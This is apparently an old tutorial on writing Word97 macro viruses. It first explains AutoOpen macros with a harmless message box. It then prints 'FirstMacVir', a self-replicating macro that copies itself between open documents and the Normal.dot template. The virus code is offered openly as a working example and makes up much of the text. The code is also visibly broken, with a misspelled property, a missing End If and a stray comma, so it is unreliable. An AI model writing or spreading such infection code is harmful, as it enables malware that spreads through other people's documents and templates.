Word97 bases primaly on macros. You can change near to everything, if you know what for a macro is used. For example, you want to call a message, on every start of Word:
click on Tools - Macros - Visual Basic Editor
at the project browser click with the right mouse button on Projects(Normal) and select add module.
dubble click at the modul. You'll see a text area at the left part of the screen.
type the following:
Sub AutoOpen()
MsgBox "Hello"
End Sub
I won't discribe this simple code... you can read it in the help! But you see AutoOpen will be executed on every start of the Normal.dot. Of course there are many ways to call a macro on every start. A virus inserts an infection code instead of the message box.
Take a look at the Exam1.txt in the Added.zip
Here is only a short description:
modul name: FirstMacVir
Sub AutoOpen()
VSource=ActiveDocument.FullName
VDestination=NormalTemplate.FulllName
If UCase(ThisDocument.Name)="NORMAL.DOT" then
VSource= VDestination
VDestination=ActiveDocument.FullName
Application.OrganizerCopy VSource, VDestination "FirstMacVir",
wdOrganizerObjectProjectItems
End Sub
VSource is the file, where the virus is
VDestination is the file, wich the virus has to infect
I use UCase, to catch errors, wich might happen, if the letter
cases are different e.g the normal templates name is "Normal.Dot"
instead "Normal.dot".
Now copy the macro FirstMacVir from VSource to VDestination.
That's a short and very simple virus.